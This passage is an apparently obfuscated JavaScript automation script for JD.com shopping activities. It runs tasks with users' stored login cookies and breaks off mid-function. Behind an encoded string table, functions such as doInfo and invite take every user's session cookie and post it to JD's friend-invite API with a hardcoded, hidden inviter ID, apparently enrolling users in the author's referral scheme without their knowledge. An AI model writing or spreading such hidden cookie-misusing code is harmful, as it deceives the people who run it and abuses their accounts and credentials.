KODEwIIybClsKJZMOZGkPDs8Okw5x1wpjDuMKqY3nCr8KpEQfDq305ED/DosKpwqvDuMOBwoNpWcKBFMKqJMK4w7PCkwNBLsO8cFwUEjtLwqNuw6DCvD8jw4nCqcOuw7nDosKewpPDtcOFQh/CpQoYwpA3wqrDlEVnw6/Cv8OCwrTCisOmcntJwoglUjNHwq0Awoc+Jj7DjcKkw4vCosKDTEwi','wp3DlMK1ZkTCiW7ClFcSAnnDhxNmSjbCpsKQHEnCn8OVOBPDsMKN','wp7CqXR1BkU0a2EXVMOuGQdvw7Mlwp8=','UBcNQcK4','chZvwoLCo8KQw6nDjB9qIlfCsHtOTSbDnj3Dv8KCRg==','worCpEZiHUE+dw0fXMO3OxAQw70uwoxfwpbDt8KlwrzCrDfCpQ==','SsK4W8Ohw4RlWSbDt8KhfFzChz4wKkHDrcKIBcOTUcKIRGkoBcOZCw==','EEfDj0sA','wqVENcKwPA==','wrzDkjHCocKj','WUHDvGTDq0Y=','wqrCsMKn','Pj44O3HCrTPCvMK1wqEHwprCvg==','dBd0','wqUnw50Rwpk=','wp7CusKjWXzDqQpiwowxCUIJ','ZWHDt1nDkGIxw7sZwpA=','w4ttwqEEwqJoUg==','XUXDs0bDiA==','PMOof8OeDsKLw7k=','aT4tBsO6','N8OjKQs2W8KXUMO4IMOdMA==','XSNdwrvCg8K1woPDoyNfBmjClnI=','e8KGwqLDo8K8fMOQbcOPPXvCnVLDhA==','DUNz','NcOkaMORAcKew7XDjw==','wqjDlcKsBgDDrsOVwqc=','G8OFw6bDicK3HEoZwqbCtBso','5rem5Ymy5Z2T5Z2c776p','wo7CiHQB','JSnDu8OKNw==','QTIlRsK7','wqnCtcOfwq/Cqw==','byJ/wo94','c3ty','6I6M5YyqwoLDo8OAdAnlpYzotb8=','wpDCvXNiAQ==','wqAAO2zCtQ==','BwoLB1Y=','BsKCSUTDrQ==','E8Ofw7bDnsKbPFk=','w5RswpkrwpQ=','w5LCjGDCrQnCscO8wpFIecOJGg==','Ql0kLjUXwqAHesOxC8OAM8Kb','wpLDjsKh','wq7CsF5XEQ==','w6bDvsKNw4FM','wpLDjMOtwpPCsgBPKQ==','wojChmQZ','w5DDn8K2M8OOwpHDui1JwrNyw5k=','w6tlL8KD','wpzCv3NoH0ElYBoJQcO/','cT4h','GllMaDg=','cFFnHTM=','S8KVwpg=','CAnDo8Om','woTCs3UVLgYJUgg=','czglCMO6w6/Dpk4=','wrkiw6U7','FcOQFTQXccK/ew==','wpPDrW4=','wo7Ds8KyXW4=','w79JwpYwwoI=','B3QU','6I6C5Y6LPkrCu+Wll+i3gwDorozot4fljpvlj4/ogJ3mmInpupTlj5o=','wo/Di8O4','5YaB5L6z6Iy05b2gw60=','w57Di2jCrWUCwqEHOB4cw6BmFA==','w5x6wrwawqZSUjDCtQ==','wpTCjsKYwqzDgQ==','wrY4dMOPSA==','wrw5w5kUwps=','woXDhMOuwqPCpQ==','DMKYXsKA','WcKhbMOv','IsO4ZcO3BsKbw5HDh3Uow5TDtFfCpQ==','FQ4THHbChxTCu8KdwocswrM=','EBsTDw==','wo3Cin0sGA==','w7kIEh3Dn8KCw5TCg8O7T8KLMh3Cg8O8wrtRw5cdwqLCgsKrUmZ8w4rDv8K7wqYmLhF9VsOqwonDtMK4FDQz','woLDp3TDvsKMO8OrD8OUwoYyJw==','LMK5eHjDh3PCrA==','w6XDisOQworDp1xKG20BJls=','w41rwqEPwrFVXTvCvw==','FcOWAQoKdcKEf8OLHsO9','wpvDgMOTasO1','woLDiMOtwoTCmx1wKATChHvDplw=','csKSwpjDu8K/dcOvYsO8PHE=','w5jDj8KVw4xEwofDq8OHSQ==','wpHDuhvCusKJ','w4cYPx3DvA==','wpIVew==','6I6M5Yyq5reN5Yik5L2K5oG+5aWW6LWY','6I2J5Y235re95Yq65L+K5oKL5aS66LeD','wrITI0zCr1gq','w6LDt8KXYEw=','QxtjwoXCuQ==','XMKZwoLDisOefQskP8Onw4s=','wovDicKjdEM=','JhgGBFc=','wozDksKjCBA=','McK+TMK5woE=','dhx2wqLCo8KQwrLDhQ==','w6hhL8KmccK+aw==','HcOUw6bDv8KCB1o=','woLDh8OrSMOUw4bCrMKXwo/ChXU9','VD46asK7AMKJ','w70ENQ7DhcKlw7TCgMOq','w6tLLcKJQw==','aWIPPA8wwokQQMOGOA==','w4hHwqMLwpA=','woPDjMO3wrrCuBxyJQ==','FcOBIBU+','aWIPNxUywpEh','HcKRT8KHwpo=','cMKZwonDjcK5eMOc','YsObaMOowqw=','wprCuXNFCFw0','w7nCs0vCvSfCjsOc','KEDDmg==','GsOaAjYXdsK9','dsKfwonDh8K5YcOc','wrfDtTHCg8KFScK1wrs=','wpblv7HliZbnpKHliIzvva0=','wpnCuWEyOBcPWgrDiDQ=','wofmtoDliY/mlZPpl57vv7o=','wobClsOK','LMK5eHjDn3zCt8KgAgvDpzw=','wqXDvirCusKlTsK3','GER5VB/CjcK3','wrfDk8Ow','GMO6ABkL','w53DmcKsPcOMwpA=','CcKaXsKowpzDicOg','BcKzQnPDoA==','DhzDr8OzLw==','wq1eBMKIGg==','wo7DgMK0YU4=','wpTDnMOwwp8=','w6FlNsKH','w53Dk8Kl','U8KhdcOr','w547TMOB6K+75rOw5aa46LS677616K6/5qOD5p++572E6Len6YWy6K2k','S8KdwoTDv8OO','wojDhsOk','aT4VF8Omw6fDpUw=','w4zDscOQw7fDikPDpw/Cqw==','GMKLQ8KbwpfDoMOhw5lrw7sJG8Oaw6k=','LMK5eH7Dm1zCrcK/KQ==','w4HDjsKrIMOdwqzDuTtOwr5jw4jCmMKx','wpzCv3NuG2E/fyE=','w4rDkHLCtG8jwqcBDg89w71pBwAV','woLDszTCpMKA','UcKSwpfDnsKT','OsOuf8OTGcKWw6zDk1Auw4XDgA==','OsOuf8OzAcKZw7c=','RMOKcMOAwqI=','wpTDiMOxwoTCsg==','w5x9wqYI','wrPCuw55','WTIp','UVHDhkbDqk4Uw5slwpfCgxo7w7Jp','UTw6Qg==','wrFfBA==','5rem5Yur6Z6R6Keb5Yar5L6h5ZOo5ouY6IKU5Y6p5Lun','5Y2F5YSf5LyG','TDMoE8O4','ZS9gwo7CtQ==','w7DDi8O1wqnDlA==','wqDDvCrCkg==','wrnCqsKx','5baZ5YW+5L2p','NMKMBRnDpw1RwqLCnQ==','wpHCs2A=','5Yyl5Yal5rOX5bmu6ZK8','GcOWEiY=','wr/Dk8K2CxPDtcOowrrDlsK0QQ==','TsKMX8KIwpbCkg==','w4rDmMKTw4pYwqnDrMOHXw==','fXtxMA==','Bw4VB0zCjwjChcKN','w5tpwrwU','DsOJMDMYdw==','PMKhw4/ClFU=','HGM1HFHCqcKVDl7CsgdTMsOww5zCkMOTw4vCmMOMacOhw7HDm8KiLXzCl3vDu8KaeV/Co8KBw6sCHWHDjMOa','w7/Du8KT','wpTDrMOPeMOp','woPCv8KUwo7Dtg==','DcOJw5TDmsKNAHYvwrvCsAcOTsO8G8OdZibCohLCpMKedQ0WATYhw7paTjfCjcOTSg==','HMKbw7LCvGo=','IQ4vBnQ=','w4rDmMKTw4xcwonDtsOYdMOQwpIV','biEqCsOg','w5bDkGrCuHw=','w7fDnMOGwpDDpUc=','BMKtw4XCgUHCv2s=','AxQvBGc=','cBp2wobCusKXwrLDlDhoM0U=','asOCUMORwqfDqyXDmcOswo7Crk0C','wrwgw6UzwrjDksKSw6wtCsKdeA==','wqrCsMK0GsKfdcKaw7I2woRC','BsK3Q8KAwqQ=','w7PDnMKuw4xC','wqPCvmQCLg==','Gg0DF2Q=','V8KZwpjDq8OfeQ==','w5jDtMOnw5bDug==','w70aOzPDpw==','w4zDscOQw7HDjmPDvRDCgEgowrA=','LMK5eFLDhnvCpcKwIQ==','HBrDvsO9JMOBPi0gDA==','fndhIA3CuzsZX8OWwo3Dlg==','w792MsKYdQ==','wo7CrgJow4bDrg==','w4d+MsKaXg==','UBh7wrfCiA==','ecOZfcOzwqU=','YMOMWQ==','R+W/muWnh+esvQ==','5q6K5oiG5aax','wq3CscK1EQ==','w5vDgW/Cp3wewrsKIg5T','w4XDsXXDvsKebw==','fndhJgnCmyEGdA==','HcKYwoTDrcOcRR4NP8K7','w4vDi1bCilg=','ZMK3XMOXw6g=','cxZmwpY=','fGIIDxYo','woDClWEOHA==','CHQGE0s=','anUaDTU3','5omy5aaI6I2m5b+/w4Lnqbbms5g=','5omK5aaA6I6h5b+wcQ==','wqHCgMOawow=','LsOKEy03ccK/ew==','wr0ROmA=','w4B6wqQWwrU=','woUJw5I+wp0=','5oiQ5aeE5b6m5bqg','wrHCtQQ=','OcKAFg==','Rik8SsK7AcKPShA=','wrxEF8KyK8KkXScsH1fDpw==','w6DDiMOQwoI=','wqQ2w78XwqfDn8Kvw7gIDMKMTCDDvQ==','wofDi8OxRA==','w5V9w6ITwodYUDHCtBkuw67Dt8KMw4rCjAjCplhYVC3DslUhIsKew6LDnMOvw7DCisOUw7svRcOvw4Z8cHBpIcK1','wpXCqHNxGhJ+Ni8AWMK0OVBVw75lwptlwojCvQ==','CsOQw6DDj8KKEFYxwq7CoRAGQ8O+G8OGbTPCoBXCpg==','bcOTV8KMwobCqjnDmMKUwozCrVU=','GsOJBjMQc8KzasOOBMO2RsOydsKPwrlzwp8xIcObEEXDn2TCr8Kzw67CmnAlworDpg==','wqzDqSrCg8K4EsO3w7F6MmEfCRPDlWfCujvDi8KQTcOjfMKwwpQ=','VUdACA==','wqPCpMKOAsKcfMKlw70FwoVIXUINwqM=','NsOrw43Dr8KsOHoPwpDCnjAWEA==','w5LCjGDCrQnCscO8wpFIZMOND0PCixQ=','wprDh0LDusKj','wp7DqTHChsKc','WMOVc8OWwq4=','wqtzAMKDGA==','LMO1TcObAcKMw5HDhGAqw4PDoEbCvcKuRMKKNcORwojCj8KKwrhUIcOIVMKBwrJ3wr7CrkYww4DDv3bDhhBl','w5LDkF/Cv00=','w4tnK8KHQQ==','aGxTKBXCoQYOb8OSwovDtsOyd27CoRfCvAtkwpXDvk/ChWAjdsKOwoFdZMKywrTDhgA/PQ==','QjJ6wq7CnA==','w4fDrcKwa1fDiBxNwr8RNVc5w6XDmDzCmcK0Cy8/SAPCoMOGAwvDnsK4w4bConRywrLDnMOVwqjCiA==','FcKnw5jCoWE=','dMKsVsONw5o=','wp0ibcOHWg==','w5zDncKXQVg=','w43DhGnCgXw=','wqnCuxB3woHDnyXCuU7DsMKmFsKZLQ==','SDJhwpdTYsOuVHXCicKuV8OP','FRkTB1TCgRXCmsKwwoc2wrU=','CFpRaRvCicKm','w7jDrcKgX10=','wofCt2QULg==','CU7DrFYP','L8OseMORXcK9w6rDhWMIw57DjkHCug==','w4TDjMKOM8OVwpHDug==','fDIyCsOiw6fDv1JYHgd1','w7tlKMKJIsKIfMKrwrBfbcKXdG0=','w4vDu8OKw7HDi2LDrA3Ch0Ypwr/Diw==','w6IfMw==','5b2s5aaj5YON5reI6KaJ5ZeU5ZKc5Lq55Yuz','RULDtGfDrkQ=','wr3Cr30+Lw==','wqrDkcKxCSLDs8OzwqfDk8K5D8Kc','XFfDnGzDu0s=','w7/DssKWEcOw','ZzIMCMO3','wonCvXRqW2ojdjk3XsO1MA0=','wpsIAVDCpQ==','fhdnwqjCo8KRwqLDpBJvKA==','5reL6KWhwp4=','TsKrbcOAw4hlUw==','wpbCtWIOPRstQi/DmWw=','w7vCrxZ1w5fCoA==','NMKMBR/Doy1Lwr3CtsOjezc=','fDIyDMOmw4fDpU1z','wosPdcOs','w6nCksOcwpzCoMOrw7M=','VMKSwpPDi8OEfgM0NMOgw5Y=','PsKxeVjDjQ==','wrAgEnLCiQ==','wrfCqsKywrE=','wokbdcO8','5rSC6KSS5ZWK5ZOQ5LmS5Yq05bSx5a2V5omW','OcKAFjPDpzY=','XMKjbMOnw59hQjHDusKublI=','w7DDiMOXwojConRaBmoBIE4=','UVHDhmLDuUoCw4cTwqXCgxo=','emYIEUkdwoEtZsOGOMO4','wqvDgMKOCwjDtcOo','wrDCvVZ5Aw==','L8OseMORXMK+w7zDjlcuw4PDlQ==','GRjDm8OuLMO7KQ==','wpTDocKPGh0=','wqnCiMOZwoDCmsOnwqt0Jm7DjMOwwqQ=','wo/Dq2c=','5b6O5aa75YCO5Yuc6Lac5Za35ZGc5LiW5Yiu','w5vDgW/Cp3wewrsKLwsaw6g=','w47Dg2jCpTk2wqsXKAscw70=','eMOCTcOJwqzDqzzDmMO2wobCsUw=','wr7CrMOuwrrCsQ==','w6BqPsKlf8KlasKNwql+bQ==','bcOASsOLwp3DrSfDhcO+wo7Ctlk=','CUtua0XCocK2woPDjsKmwoU7','w57DksKnHcOXwpfDqh1zwqxt','W8KpdsOnw5pgUyw=','Nk7Dk0oKBQ==','wrHCvw17w4fDtQ==','annDvmLDgw==','wpgPcsOreMObw6Zxw7AsPk90e8OUw7h5D8O8w6lsIhtFQ3pSHDzDrsOFRcO+Kg==','wqTDg8KIZUY=','wrvDrlrDvMKp','G8KhaMO+w4BsCyXDn8K9cVbDnHQhP3PDpcORIMKDGsKfVHIFVsKZO8K4w40=','E0Vq','SGjDsULDpw==','w7bDhMKDTlY=','wrQww581wqrDng==','XsKSwoA=','wpdjPMKVLMKOeiAEOXzDjsKq','wrheFQ==','w4VXBMK3Q8KPXMKbwoZfR8K2RA==','B8KWw4rCjFs=','L8Oiw5fDqcK8MngEwoHCgQ==','w7nCs0vCnSfCjsOY','wqnDl1XDlg==','Q8KZwqDDisO7','wovDkMOrUcORwpXDt8OBwqrCl3I1wp9mEcKgwokVEMOPwq7CtG0gCjg=','wprCpm5xRQg1fCgcUMOuMVIfw7g5','wo7DjsK1Zg==','5Ym+6Ladw7g=','Y8ONW8OlwoTDqzfDtcOUwonCrQ==','H0V5eQ==','wq7CvcKlAcKOZcK4w6oTwpUa','VD46SsKjD8KSVS3CgBhB','wpbCtWIIOTs3XQk=','D8OEw7vDnw==','w5vCr2x0IExs','cj8jJMO7w6HDr2JyGRw=','w4PDvsKDQ10=','wrLDicKARHM=','w6IXJwjDgQ==','wo3DlcK0e0XCg2LCgAE=','5YmD6Lap5ZWG5ZGW5bSI5a+e5oqP','wrzCuRd1w4XDtCPCr33DlsK9GA==','woXDrW7DvsKJOsO6EsOTwogzKG4=','ZAlOwobCocKXwrI=','NcOHw5PDiMKy','wqHCpMKlwqPCkC3DgsKmRcODJsKvT2I=','wpHDmcOPwp7Cuhty','wpvCuXE=','5b6t5aWZ5YO+6aCe5Y2u5LyS5oGp5YmR','wqhAJcKsHsKs','wpDDiMOwwpzClB1zPT3Ci17DvV9jwpnCi8Kww6o=','w6jDjMOKwoTDpV0=','wr3ChMORwq7Cpw==','wqEVMULCjw==','QjRo','5oqG5aaq6I2B5bybwpHnqavmsbM=','aTA1CMOXw6HDvltzETp6w4jDl3rDhiPCtw==','eMKSwpjDisK3ecOJbMO+AHrCkFg=','w5zDi3XCp3kfwqoX','w5PDk8KmIw==','XcOMAzYdLQ==','wrxTF8KvDcKCRhkq','w6vCo1bCnQ==','XMOSw73DjsKTHFEIwqvDqA==','wovDh8OmwrTCuAd2IjzCrHnDtVY=','wp3DjsKzYkTCikLCiB4a','wo/DsXjDhsKb','wrEfM3w=','UcKvfw==','wp/Ck2IRBMOGw7tKPw==','w7hlMsKW','wp/Cs2N4','OsOuf8OTGcKWw6zDk10r','KsOWS8OLwo/CuQ==','wrITI2zCt1cxwpoewqDCpww=','MVrDlEo=','PAIxO0Y=','wq7CgsODwoDCn8OmwrppIWDDjcO/','wpfDpXPDvMOLAcO2EcO+','worClVQQLA==','K8KoSHnDrw==','e8KTwpo=','6Ky657+H5raf5YmL5o2B6Yan5beM5a+u5oi5','5oqL6KKr5q+f5pad56yU5YqR','w5zDusKR','e8OCV8OW','wqPCscK2','5baJ56+H5YmG','AAfDsA==','QjRowrtSeA==','HElpaQDCicKmwp7DicKmwoMu','w47Dg2jCpT4kwqcSGQ8=','KcOJw73DmcKz','QsOScMOIwqQ=','dsKfwonDoMKuZcONesOUKGDClw==','wqcRJG7DtW0twoIowqQ=','w57Di8Krw4xHwonDtg==','w4hywpgXwpA=','wrHDvsOCwqDCvA==','GsOrMAgy','ME7DjkVROyd3RXo=','w7sAGBXDnMKYw6k=','wrxTF8KpCcKiXAYBH03DoQ==','CUtua0LCs8K6wobDv8Ki','G0NzaQXCiMK3woPDjsKowoIhw7o=','wpbDtEbDu8KbNQ==','woXCmMOcwrDCjQ==','5q6b5Yqk5Lqw','DgfDs8O+','wqjDsjk=','6aKo5Y6N5LyX5oCe5YiY5be45ayH5oig','w6LDgMOIwpfDtEc=','wqbCj8OTwozCkcOAwqg=','wpLDm8KZeE/ClGLCiCcBCGbDsRQ=','GlYqLmc=','w5nDu8KSb0HDtDM=','IsOOHwk7','Yn0kEB4swownesOTJcOnA8Kw','G8KJRsKIwoY=','YRkrUMKX','w4PDpcKaY00=','w4TDvMOAw73DgEXDrw==','PMKXVULDsQ==','w7fCuFvCnD7CtcOf','wrzCkcObwoDCnQ==','wpDDtGzDvsKO','w6zCs0/ClSfCmcOc','w6ltN8KWdcK4','wrfDnsKmBx3Dk8O6','OCA4Om3CoyTCrcKrwrADwpjCvyM=','EsOXEjoBX8K0','XENkDzg=','w57DosOIw7HDjA==','ZMKMwpHDoMKs','w4NeBMK2X8KBS8KKwphOQ8K0RVs=','wq9VE8KsHsKoTQ==','w6fDocK4w7FlwqvDh8Ovb8Onwqc4KMOOIw==','wqlREMKrSsKZTRIsEF0=','w4XDncKxMcKNwqrDqzl0wqRm','wpHCv3gOOBo8XyXDkiTClCc=','woPCt2UMfiA8Vg/DkzU=','wrrCkcO7woDChMOmwro=','w4zDkcOywrbDtQ==','AiA1DHI=','w7LDs8O2woHDgQ==','w6NrPA==','5oup6KC86K+q57yS5raK5YmZ5o2N6YW/','wpHDmcOFwpvCthU=','wrxaDsK3CQ==','worDnGfDnsKi','KMO5ecOTAcKYw7HDjG0=','F8OWERoLYg==','wpA3w6crwqQ=','KHhJjsZjekhiamPiJ.cBromtx.ZvI6Q=='];if(function(_0x43f3a3,_0xab312e,_0xf6b9ed){function _0x2038e6(_0x4007cc,_0x2e546b,_0x4a171e,_0x57d451,_0x271311,_0x248e8a){_0x2e546b=_0x2e546b>>0x8,_0x271311='po';var _0x210c74='shift',_0x416300='push',_0x248e8a='‮';if(_0x2e546b<_0x4007cc){while(--_0x4007cc){_0x57d451=_0x43f3a3[_0x210c74]();if(_0x2e546b===_0x4007cc&&_0x248e8a==='‮'&&_0x248e8a['length']===0x1){_0x2e546b=_0x57d451,_0x4a171e=_0x43f3a3[_0x271311+'p']();}else if(_0x2e546b&&_0x4a171e['replace'](/[KHhJZekhPJBrtxZIQ=]/g,'')===_0x2e546b){_0x43f3a3[_0x416300](_0x57d451);}}_0x43f3a3[_0x416300](_0x43f3a3[_0x210c74]());}return 0xcef42;};return _0x2038e6(++_0xab312e,_0xf6b9ed)>>_0xab312e^_0xf6b9ed;}(_0x33f5,0x16a,0x16a00),_0x33f5){_0xody_=_0x33f5['length']^0x16a;};function _0x3102(_0x1e60d4,_0x12c6dd){_0x1e60d4=~~'0x'['concat'](_0x1e60d4['slice'](0x1));var _0x38a049=_0x33f5[_0x1e60d4];if(_0x3102['WLdifC']===undefined){(function(){var _0x3c7230=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x12094e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c7230['atob']||(_0x3c7230['atob']=function(_0x5d686a){var _0x3578b3=String(_0x5d686a)['replace'](/=+$/,'');for(var _0x1ca5be=0x0,_0x2e3ad7,_0x11fb5e,_0x4298ed=0x0,_0x169b84='';_0x11fb5e=_0x3578b3['charAt'](_0x4298ed++);~_0x11fb5e&&(_0x2e3ad7=_0x1ca5be%0x4?_0x2e3ad7*0x40+_0x11fb5e:_0x11fb5e,_0x1ca5be++%0x4)?_0x169b84+=String['fromCharCode'](0xff&_0x2e3ad7>>(-0x2*_0x1ca5be&0x6)):0x0){_0x11fb5e=_0x12094e['indexOf'](_0x11fb5e);}return _0x169b84;});}());function _0x2b3568(_0x4063b7,_0x12c6dd){var _0x3993c5=[],_0x3f1be2=0x0,_0x3320ea,_0x4aa7ef='',_0x2984f7='';_0x4063b7=atob(_0x4063b7);for(var _0x651ae2=0x0,_0x39df27=_0x4063b7['length'];_0x651ae2<_0x39df27;_0x651ae2++){_0x2984f7+='%'+('00'+_0x4063b7['charCodeAt'](_0x651ae2)['toString'](0x10))['slice'](-0x2);}_0x4063b7=decodeURIComponent(_0x2984f7);for(var _0x4f8af6=0x0;_0x4f8af6<0x100;_0x4f8af6++){_0x3993c5[_0x4f8af6]=_0x4f8af6;}for(_0x4f8af6=0x0;_0x4f8af6<0x100;_0x4f8af6++){_0x3f1be2=(_0x3f1be2+_0x3993c5[_0x4f8af6]+_0x12c6dd['charCodeAt'](_0x4f8af6%_0x12c6dd['length']))%0x100;_0x3320ea=_0x3993c5[_0x4f8af6];_0x3993c5[_0x4f8af6]=_0x3993c5[_0x3f1be2];_0x3993c5[_0x3f1be2]=_0x3320ea;}_0x4f8af6=0x0;_0x3f1be2=0x0;for(var _0x3d33e9=0x0;_0x3d33e9<_0x4063b7['length'];_0x3d33e9++){_0x4f8af6=(_0x4f8af6+0x1)%0x100;_0x3f1be2=(_0x3f1be2+_0x3993c5[_0x4f8af6])%0x100;_0x3320ea=_0x3993c5[_0x4f8af6];_0x3993c5[_0x4f8af6]=_0x3993c5[_0x3f1be2];_0x3993c5[_0x3f1be2]=_0x3320ea;_0x4aa7ef+=String['fromCharCode'](_0x4063b7['charCodeAt'](_0x3d33e9)^_0x3993c5[(_0x3993c5[_0x4f8af6]+_0x3993c5[_0x3f1be2])%0x100]);}return _0x4aa7ef;}_0x3102['GlUaOA']=_0x2b3568;_0x3102['awxvoC']={};_0x3102['WLdifC']=!![];}var _0x3a911c=_0x3102['awxvoC'][_0x1e60d4];if(_0x3a911c===undefined){if(_0x3102['SKrjvx']===undefined){_0x3102['SKrjvx']=!![];}_0x38a049=_0x3102['GlUaOA'](_0x38a049,_0x12c6dd);_0x3102['awxvoC'][_0x1e60d4]=_0x38a049;}else{_0x38a049=_0x3a911c;}return _0x38a049;};!(async()=>{var _0x1ad085={'bOfma':function(_0x3d2812,_0x17aa46){return _0x3d2812<_0x17aa46;},'poEUg':function(_0x48d885,_0x348dc1){return _0x48d885<_0x348dc1;},'zEJrd':function(_0x2a4416,_0x4c088d){return _0x2a4416===_0x4c088d;},'NpMuP':'ZKemw','sTwYg':_0x3102('‫0','J%J3'),'rvYHy':function(_0x1f2d6f,_0x24629a){return _0x1f2d6f(_0x24629a);}};$[_0x3102('‫1','1M$7')]=!![];for(let _0x1b1fe7=0x0;_0x1ad085[_0x3102('‮2','2K5g')](_0x1b1fe7,activityList[_0x3102('‫3','0cn&')]);_0x1b1fe7++){let _0x54de23=activityList[_0x1b1fe7]['id'];let _0x10a356=Date['now']();if(_0x1ad085[_0x3102('‮4','n(3f')](_0x10a356,activityList[_0x1b1fe7]['endTime'])){if(_0x1ad085[_0x3102('‫5','n(3f')](_0x1ad085[_0x3102('‮6','sNao')],_0x1ad085['NpMuP'])){let _0x18a406='https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/'+_0x54de23+_0x3102('‮7','c[zw')+_0x54de23;console['log'](_0x3102('‫8','d3gl')+_0x18a406);$[_0x3102('‮9','o@0y')]=_0x18a406;$[_0x3102('‫a','Gi4A')]=_0x1ad085[_0x3102('‫b','COiT')];await _0x1ad085[_0x3102('‫c','OGYu')](main,$);}else{console[_0x3102('‮d','Li(D')](_0x3102('‮e','qBje'));return;}}else{console[_0x3102('‫f','*m2]')]('\x0a活动ID:'+_0x54de23+_0x3102('‫10','EtQ#'));}}})()[_0x3102('‫11','*m2]')](_0x3c170e=>{$['log']('','❌\x20'+$[_0x3102('‮12','J%J3')]+_0x3102('‫13','EtQ#')+_0x3c170e+'!','');})[_0x3102('‮14','$u&N')](()=>{$[_0x3102('‫15','sdz^')]();});async function main(_0x1d7401){var _0x8a845c={'kAgiR':function(_0x5f4286){return _0x5f4286();},'ideIB':function(_0x290286,_0x1a4654){return _0x290286<_0x1a4654;},'PojBR':function(_0x1f7af8,_0x1714f4){return _0x1f7af8(_0x1714f4);},'hEDBt':function(_0x368928,_0xbf8b06){return _0x368928(_0xbf8b06);},'qSUfe':function(_0x460664,_0x245163){return _0x460664===_0x245163;},'MGEHZ':_0x3102('‫16','Xxxm'),'NvtnD':_0x3102('‫17','1M$7')};_0x1d7401[_0x3102('‫18','EtQ#')]=cookiesArr;message='';_0x1d7401[_0x3102('‮19','*m2]')]=getUrlData(_0x1d7401[_0x3102('‮1a','7epy')],'activityId');_0x1d7401[_0x3102('‮1b','Xxxm')]=!![];for(let _0x2e5f43=0x0;_0x8a845c['ideIB'](_0x2e5f43,_0x1d7401['cookiesArr'][_0x3102('‮1c','Xxxm')])&&_0x1d7401[_0x3102('‮1d','Hlgj')]&&_0x1d7401[_0x3102('‮1e','k6UV')]&&_0x2e5f43<_0x8a845c[_0x3102('‫1f','Zt7Z')](Number,RUNCK);_0x2e5f43++){_0x1d7401[_0x3102('‫20','0cn&')]=_0x1d7401[_0x3102('‫21','OpYx')][_0x2e5f43];_0x1d7401['UserName']=decodeURIComponent(_0x1d7401['cookie']['match'](/pt_pin=(.+?);/)&&_0x1d7401[_0x3102('‮22','bgvS')]['match'](/pt_pin=(.+?);/)[0x1]);_0x1d7401[_0x3102('‮23','sg)U')]=_0x2e5f43+0x1;console[_0x3102('‮24','tBOS')](_0x3102('‫25','J5AU')+_0x1d7401[_0x3102('‫26','o@0y')]+'】'+_0x1d7401[_0x3102('‮27','Li(D')]+'********\x0a');try{await _0x8a845c[_0x3102('‫28','sdz^')](runMain,_0x1d7401);}catch(_0x1999e4){}if(_0x1d7401[_0x3102('‮29','sg)U')]){if(_0x8a845c[_0x3102('‫2a','1M$7')](_0x8a845c[_0x3102('‮2b','Hlgj')],_0x8a845c[_0x3102('‮2c','FuOh')])){_0x8a845c[_0x3102('‮2d','n(3f')](resolve);}else{doInfo();}}await _0x1d7401['wait'](0xbb8);}if(message){await notify['sendNotify'](_0x3102('‫2e','J%J3')+_0x1d7401[_0x3102('‮2f','COiT')],message);}}async function doInfo(){var _0x30b658={'BvKLG':function(_0x5ba9f3,_0x381603){return _0x5ba9f3<_0x381603;},'Exycz':function(_0x2bfba0,_0xd2621c){return _0x2bfba0!==_0xd2621c;},'gYixX':_0x3102('‫30','EtQ#'),'zYfjJ':function(_0x1e7211,_0x4da378){return _0x1e7211(_0x4da378);}};$['helpFalg']=![];for(let _0x464257=0x0;_0x30b658[_0x3102('‫31','#9UC')](_0x464257,cookiesArr[_0x3102('‮32','4IbD')]);_0x464257++){if(_0x30b658[_0x3102('‫33','qhO@')](_0x30b658[_0x3102('‮34','OGYu')],_0x30b658[_0x3102('‮35','vitW')])){console['log'](_0x3102('‮36','z@TG'));return;}else{await _0x30b658[_0x3102('‫37','p(IT')](invite3,cookiesArr[_0x464257]);await invite4(cookiesArr[_0x464257]);await invite(cookiesArr[_0x464257]);await invite2(cookiesArr[_0x464257]);}}}async function invite(_0x1b2f5c){var _0x372031={'GHiiE':_0x3102('‮38','2K5g'),'uMBLS':_0x3102('‮39','3(Uq'),'runBE':_0x3102('‫3a','n(3f'),'KmMXr':_0x3102('‫3b','4q7e'),'rKawY':_0x3102('‮3c','oulr'),'yxeqs':function(_0x25374e,_0x30cb96){return _0x25374e(_0x30cb96);},'KycWr':_0x3102('‫3d','Hlgj'),'GyyRA':'https://invite-reward.jd.com/'};let _0x35f92b=Date['now']();let _0x5d3254=_0x372031['GHiiE'];var _0x557a40={'Host':_0x372031[_0x3102('‫3e','TUqD')],'accept':'application/json,\x20text/plain,\x20*/*','content-type':_0x372031[_0x3102('‮3f','oJKr')],'origin':_0x372031['KmMXr'],'accept-language':_0x372031[_0x3102('‮40','Hlgj')],'user-agent':$[_0x3102('‮41','tBOS')]()?process['env'][_0x3102('‫42','o@0y')]?process[_0x3102('‮43','vitW')][_0x3102('‮44','7epy')]:_0x372031['yxeqs'](require,_0x3102('‮45','COiT'))['USER_AGENT']:$[_0x3102('‫46','7epy')](_0x372031['KycWr'])?$[_0x3102('‫47','$u&N')](_0x372031['KycWr']):_0x3102('‫48','dt#Z'),'referer':_0x372031['GyyRA'],'Cookie':_0x1b2f5c};var _0x14067c='functionId=InviteFriendApiService&body={\x22method\x22:\x22attendInviteActivity\x22,\x22data\x22:{\x22inviterPin\x22:\x22'+encodeURIComponent(_0x5d3254)+_0x3102('‮49','*m2]')+_0x35f92b;var _0x104579={'url':_0x3102('‫4a','o@0y')+Date[_0x3102('‮4b','COiT')](),'headers':_0x557a40,'body':_0x14067c};$['post'](_0x104579,(_0x1a637b,_0xf628ab,_0x19a480)=>{});}async function invite2(_0x3b6a2f){var _0x218499={'AqqDH':_0x3102('‫4c','OGYu'),'ELMDf':_0x3102('‮4d','(uuA'),'eunIn':_0x3102('‮4e','hMf@'),'EUDot':_0x3102('‫4f','qhO@'),'nqfja':_0x3102('‫50','*m2]'),'aIYzh':'zh-cn','upLty':function(_0x5d9e0c,_0x2a4925){return 